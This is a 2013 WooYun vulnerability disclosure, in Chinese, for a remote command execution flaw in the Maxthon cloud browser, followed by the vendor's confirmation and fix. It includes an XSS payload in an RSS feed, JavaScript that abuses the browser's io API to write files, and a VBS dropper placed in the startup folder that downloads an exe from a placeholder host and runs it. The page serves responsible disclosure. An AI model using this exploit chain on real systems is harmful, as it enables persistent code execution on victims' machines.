当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-035972

漏洞标题:傲游云浏览器远程命令执行漏洞

相关厂商:傲游

漏洞作者: 心伤的胖子

提交时间:2013-09-03 09:12

修复时间:2013-12-02 09:13

公开时间:2013-12-02 09:13

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-03: 细节已通知厂商并且等待厂商处理中
2013-09-03: 厂商已经确认,细节仅向厂商公开
2013-09-06: 细节向第三方安全合作伙伴开放
2013-10-28: 细节向核心白帽子及相关领域专家公开
2013-11-07: 细节向普通白帽子公开
2013-11-17: 细节向实习白帽子公开
2013-12-02: 细节向公众公开

简要描述:

首先关于这个漏洞的大部分细节都不是我最先发现的。

详细说明:

下面描述的漏洞的细节很早就是就有国外的团队公开过,其次在 wooyun 上也有白帽子提交,最近黑哥在 kcon 上也提到过。见下面一坨链接:
http://conference.hitb.org/hitbsecconf2012ams/materials/D1T1%20-%20Roberto%20Suggi%20and%20Scott%20Bell%20-%20Browser%20Bug%20Hunting%20in%202012.pdf
WooYun: 遨游浏览器命令执行漏洞
http://vdisk.weibo.com/s/z1id0otCRMVPt
不知道傲游是懒得修还是就简单的修修补补,反正有一两年了,漏洞依然存在。
1、先说 rss reader 的 xss,这个是远程命令执行的基础,添加订阅:http://127.0.0.1/m.xml,m.xml的内容为:

<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" version="2.0">
<channel>
<title>xxxxx'&quot;&gt;&lt;img src=x onerror=alert(1)&gt;xxxxxx</title>
<link>javascript:alert(1)</link>
<description>xxxxx'&quot;&gt;&lt;img src=x onerror=alert(1)&gt;xxxxxx</description>
</channel>
</rss>


浏览器在处理 xml 内容的时候对 title、description,没有过滤。添加后就会执行嵌入的代码。

xss.png


2、文件写入漏洞。上面的 rss reader 是在 about 域下,这个域下的权限比较高,虽然傲游对一些权限比较高的 api 做了删除或者禁用处理,但是还是保留了 io 这个可以对文件进行操作的 api。如下

io.png


我们可以操作这个 api 来写入文件到本地,写入文件的代码为:

var b = new maxthon.io.File.createTempFile();
b.name_ = "C:/1.txt"
maxthon.io.FileWriter(b);
maxthon.io.writeText("go");


所以我们就可以通过 io api 写入一个 bat 文件到启动目录用于开机执行本地文件或者写入 vbs 下载远程文件执行,启动目录为 C:/Documents and Settings/All Users/「开始」菜单/程序/启动/ “All Users”下的启动目录内的文件开机也会执行的,所以不需要猜测用户名。
如下是写入 vbs 到启动目录。

var b = new maxthon.io.File.createTempFile();
b.name_ = "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/1.vbs"
maxthon.io.FileWriter(b);
maxthon.io.writeText("set xml = createObject(\"Microsoft.XMLHTTP\")\nxml.Open \"GET\", \"http://xxx.com/calc.exe\", 0\nxml.Send()\nset stream = createObject(\"ADODB.Stream\")\nstream.Mode = 3\nstream.Type = 1\nstream.Open()\nstream.Write(xml.responseBody)\nstream.SaveToFile \"calc.exe\"\nset ws = CreateObject(\"Wscript.Shell\")\nws.run \"calc.exe\"");


所以整个利用过程就是:
1、用户通过订阅存在恶意代码的站点,访问后代码执行;
2、代码调用 io api 写入 vbs 到本地的启动目录;
3、用户重启电脑后执行 vbs 中的代码从远程下载 exe 文件到本地执行;
效果:

exec.png

漏洞证明:

exec.png

修复方案:

1、修复 rss reader 中的 xss
2、对 io api 做权限控制

版权声明:转载请注明来源 心伤的胖子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-09-03 09:26

厂商回复:

应该有修改才对. 需要查询一下.

最新状态:

2013-09-06:已修复. 感谢帮助.